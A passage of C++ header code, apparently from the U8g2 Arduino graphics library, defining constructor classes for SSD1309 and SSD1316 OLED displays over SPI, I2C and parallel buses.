u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname2_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME2_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname2_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME2_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname2_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME2_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname2_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME2_F_6800 : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname2_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME2_F_8080 : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname2_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME2_1_SW_I2C : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_i2c_128x64_noname2_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1309_128X64_NONAME2_1_HW_I2C : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_i2c_128x64_noname2_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1309_128X64_NONAME2_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_i2c_128x64_noname2_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1309_128X64_NONAME2_2_SW_I2C : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_i2c_128x64_noname2_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1309_128X64_NONAME2_2_HW_I2C : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_i2c_128x64_noname2_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1309_128X64_NONAME2_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_i2c_128x64_noname2_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1309_128X64_NONAME2_F_SW_I2C : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_i2c_128x64_noname2_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1309_128X64_NONAME2_F_HW_I2C : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_i2c_128x64_noname2_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1309_128X64_NONAME2_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1309_128X64_NONAME2_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_i2c_128x64_noname2_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1309_128X64_NONAME0_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname0_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME0_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname0_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME0_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname0_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME0_1_6800 : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname0_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME0_1_8080 : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname0_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME0_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname0_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME0_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname0_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME0_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname0_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME0_2_6800 : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname0_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME0_2_8080 : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname0_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME0_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname0_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME0_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname0_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME0_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname0_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME0_F_6800 : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname0_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME0_F_8080 : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_128x64_noname0_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1309_128X64_NONAME0_1_SW_I2C : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_i2c_128x64_noname0_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1309_128X64_NONAME0_1_HW_I2C : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_i2c_128x64_noname0_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1309_128X64_NONAME0_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_i2c_128x64_noname0_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1309_128X64_NONAME0_2_SW_I2C : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_i2c_128x64_noname0_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1309_128X64_NONAME0_2_HW_I2C : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_i2c_128x64_noname0_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1309_128X64_NONAME0_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_i2c_128x64_noname0_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1309_128X64_NONAME0_F_SW_I2C : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_i2c_128x64_noname0_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1309_128X64_NONAME0_F_HW_I2C : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_i2c_128x64_noname0_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1309_128X64_NONAME0_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1309_128X64_NONAME0_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1309_i2c_128x64_noname0_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1316_128X32_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1316_128X32_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_128x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1316_128X32_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1316_128X32_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_128x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1316_128X32_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1316_128X32_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_128x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1316_128X32_1_6800 : public U8G2 { public: U8G2_SSD1316_128X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_128x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1316_128X32_1_8080 : public U8G2 { public: U8G2_SSD1316_128X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_128x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1316_128X32_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1316_128X32_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_128x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1316_128X32_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1316_128X32_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_128x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1316_128X32_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1316_128X32_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_128x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1316_128X32_2_6800 : public U8G2 { public: U8G2_SSD1316_128X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_128x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1316_128X32_2_8080 : public U8G2 { public: U8G2_SSD1316_128X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_128x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1316_128X32_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1316_128X32_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_128x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1316_128X32_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1316_128X32_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_128x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1316_128X32_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1316_128X32_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_128x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1316_128X32_F_6800 : public U8G2 { public: U8G2_SSD1316_128X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_128x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1316_128X32_F_8080 : public U8G2 { public: U8G2_SSD1316_128X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_128x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1316_128X32_1_SW_I2C : public U8G2 { public: U8G2_SSD1316_128X32_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_i2c_128x32_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1316_128X32_1_HW_I2C : public U8G2 { public: U8G2_SSD1316_128X32_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1316_i2c_128x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1316_128X32_1_2ND_HW_I2C : 